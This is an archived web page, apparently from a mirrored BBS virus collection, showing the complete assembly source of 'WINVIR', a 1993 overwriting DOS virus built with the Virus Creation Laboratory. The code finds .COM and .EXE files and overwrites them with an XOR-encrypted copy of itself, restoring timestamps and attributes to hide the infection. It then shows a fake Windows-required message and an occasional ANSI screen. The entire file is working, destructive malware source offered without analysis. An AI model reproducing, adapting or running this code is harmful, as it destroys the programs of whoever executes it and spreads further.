home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
The Unsorted BBS Collection
/
thegreatunsorted.tar
/
thegreatunsorted
/
live_viruses
/
virus_collections
/
winvir.asm
< prev
next >
Wrap
Assembly Source File
|
1993-05-07
|
10KB
|
330 lines
; WINVIR.ASM -- Windows Virus
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by BlenderHead
virus_type equ 1 ; Overwriting Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
start label near
main proc near
flag: xchg cx,ax
xchg ch,ch
xchg cx,ax
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
call search_files ; Find and infect a file
mov si,offset data00 ; SI points to data
mov ah,0Eh ; BIOS display char. function
display_loop: lodsb ; Load the next char. into AL
or al,al ; Is the character a null?
je disp_strnend ; If it is, exit
int 010h ; BIOS video interrupt
jmp short display_loop ; Do the next character
disp_strnend:
call get_weekday
cmp ax,0002h ; Did the function return 2?
jne skip00 ; If not equal, skip effect
call get_second
cmp ax,0016h ; Did the function return 22?
jne skip00 ; If not equal, skip effect
jmp short strt00 ; Success -- skip jump
skip00: jmp end00 ; Skip the routine
strt00: mov si,offset data01 ; SI points to data
mov cx,0173h ; Second argument is 371
push di ; Save DI
push es ; Save ES
jcxz uncrunch_done ; Exit if there are no characters
mov ah,0Fh ; BIOS get screen mode function
int 10h
xor ah,ah ; BIOS set screen mode function
int 10h ; Clear the screen
xor di,di
mov ax,0B800h ; AX is set to video segment
mov es,ax ; ES holds video segment
mov dx,di ; Save X coordinate for later
xor ax,ax ; Set current attributes
cld
loopa: lodsb ; Get next character
cmp al,32 ; Is it a control character?
jb foreground ; Handle it if it is
stosw ; Save letter on screen
next: loop loopa ; Repeat until we're done
jmp short uncrunch_done ; Leave this routine
foreground: cmp al,16 ; Are we changing the foreground?
jnb background ; If not, check the background
and ah,0F0h ; Strip off old foreground
or ah,al ; Put the new one on
jmp short next ; Resume looping
background: cmp al,24 ; Are we changing the background?
je next_line ; If AL = 24, go to next line
jnb flash_bit_toggle ; If AL > 24 set the flash bit
sub al,16 ; Change AL to a color number
add al,al ; Crude way of shifting left
add al,al ; four bits without changing
add al,al ; CL or wasting space. Ok,
add al,al ; I guess.
and al,08Fh ; Strip off old background
or ah,al ; Put the new one on
jmp short next ; Resume looping
next_line: add dx,160 ; Skip a whole line (80 chars.
mov di,dx ; AND 80 attribs.)
jmp short next ; Resume looping
flash_bit_toggle: cmp al,27 ; Is it a blink toggle?
jb multi_output ; If AL < 27, it's a blinker
jne next ; Otherwise resume looping
xor ah,128 ; Toggle the flash bit
jmp short next ; Resume looping
multi_output: cmp al,25 ; Set Zero flag if multi-space
mov bx,cx ; Save main counter
lodsb ; Get number of repititions
mov cl,al ; Put it in CL
mov al,' ' ; AL holds a space
jz start_output ; If displaying spaces, jump
lodsb ; Otherwise get character to use
dec bx ; Adjust main counter
start_output: xor ch,ch ; Clear CH
inc cx ; Add one to count
rep stosw ; Display the character
mov cx,bx ; Restore main counter
dec cx ; Adjust main counter
loopnz loopa ; Resume looping if not done
uncrunch_done: pop es ; Restore ES
pop di ; Restore DI
end00: mov ax,04C00h ; DOS terminate function
int 021h
main endp
search_files proc near
mov dx,offset com_mask ; DX points to "*.COM"
call find_files ; Try to infect a file
jnc done_searching ; If successful then exit
mov dx,offset exe_mask ; DX points to "*.EXE"
call find_files ; Try to infect a file
done_searching: ret ; Return to caller
com_mask db "*.COM",0 ; Mask for all .COM files
exe_mask db "*.EXE",0 ; Mask for all .EXE files
search_files endp
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov byte ptr [set_carry],0 ; Assume we'll fail
cmp word ptr [si + 01Ch],0 ; Is the file > 65535 bytes?
jne infection_done ; If it is then exit
cmp word ptr [si + 025h],'DN' ; Might this be COMMAND.COM?
je infection_done ; If it is then skip it
cmp word ptr [si + 01Ah],(finish - start)
jb infection_done ; If it's too small then exit
mov ax,03D00h ; DOS open file function, r/o
lea dx,[si + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,4 ; CX holds bytes to read (4)
mov dx,offset buffer ; DX points to buffer
int 021h
mov ah,03Eh ; DOS close file function
int 021h
push si ; Save DTA address before compare
mov si,offset buffer ; SI points to comparison buffer
mov di,offset flag ; DI points to virus flag
mov cx,4 ; CX holds number of bytes (4)
rep cmpsb ; Compare the first four bytes
pop si ; Restore DTA address
je infection_done ; If equal then exit
mov byte ptr [set_carry],1 ; Success -- the file is OK
mov ax,04301h ; DOS set file attrib. function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle
push si ; Save SI through call
call encrypt_code ; Write an encrypted copy
pop si ; Restore SI
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attrib. function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed
ret ; Return to caller
buffer db 4 dup (?) ; Buffer to hold test data
set_carry db ? ; Set-carry-on-exit flag
infect_file endp
get_second proc near
mov ah,02Ch ; DOS get time function
int 021h
mov al,dh ; Copy second into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_second endp
get_weekday proc near
mov ah,02Ah ; DOS get date function
int 021h
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_weekday endp
data00 db "This program requires Microsoft Windows."
data01 DB 15,16,24,25,6,'▄██▄',25,2,'▄██▄ ▄█▄ ▄██▄',25,2,'▄█'
DB '█▄',24,25,6,26,3,'█',25,2,26,3,'█ ',26,4,'█ ',26,4,'█'
DB '▄ ',26,3,'█',24,25,6,26,3,'█',25,2,26,3,'█ ',26,4,'█'
DB ' ',26,10,'█ ▄▄',26,3,'█▄▄',24,25,6,26,3,'█▄█▄',26,3,'█'
DB ' ',26,4,'█ ',26,3,'█▀',26,5,'█ ▀▀',26,3,'█▀▀',24,25,6
DB 26,10,'█ ',26,4,'█ ',26,3,'█ ▀',26,3,'█',24,25,7,'▀'
DB '██▀ ▀██▀',25,2,'▀█▀ ▀██▀',25,2,'▀██▀',24,24,' ▄',26
DB 7,'█▄',25,2,'▄',26,6,'█▄ ▄',26,8,'█▄ ▄',26,8,'█▄',24
DB ' ',26,3,'█',25,2,'▀███ ',26,3,'█▀▀▀',26,3,'█ ',26,4
DB '▀',26,4,'█▀ ',26,3,'█',25,3,'▀▀▀',24,' ',26,3,'█',25
DB 3,'███ ███',25,4,'███',25,3,'▄',26,3,'█▀',25,2,26,3,'█'
DB 26,4,'▄',24,' ',26,3,'█',25,3,'███ ███',25,4,'███ '
DB '▄',26,3,'█▀',25,4,26,3,'█',26,4,'▀',24,' ',26,3,'█'
DB '▄▄▄███▀ ',26,3,'█▄▄▄',26,3,'█ ',26,4,'█',26,5,'▄ ',26
DB 3,'█',25,3,'▄▄▄',24,' ▀',26,6,'█▀',25,3,'▀',26,6,'█'
DB '▀ ▀',26,8,'█▀ ▀',26,8,'█▀',24,24
vcl_marker db "[VCL]",0 ; VCL creation marker
note db "BlenderHead '93"
encrypt_code proc near
mov si,offset encrypt_decrypt; SI points to cipher routine
xor ah,ah ; BIOS get time function
int 01Ah
mov word ptr [si + 8],dx ; Low word of timer is new key
xor byte ptr [si],1 ;
xor byte ptr [si + 7],1 ; Change all SIs to DIs
xor word ptr [si + 10],0101h; (and vice-versa)
mov di,offset finish ; Copy routine into heap
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
push si ; Save SI for later
push cx ; Save CX for later
rep movsb ; Copy the bytes
mov si,offset write_stuff ; SI points to write stuff
mov cx,5 ; CX holds length of write
rep movsb ; Copy the bytes
pop cx ; Restore CX
pop si ; Restore SI
inc cx ; Copy the RET also this time
rep movsb ; Copy the routine again
mov ah,040h ; DOS write to file function
mov dx,offset start ; DX points to virus
call finish ; Encrypt/write/decrypt
ret ; Return to caller
write_stuff: mov cx,finish - start ; Length of code
int 021h
encrypt_code endp
end_of_code label near
encrypt_decrypt proc near
mov si,offset start_of_code ; SI points to code to decrypt
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main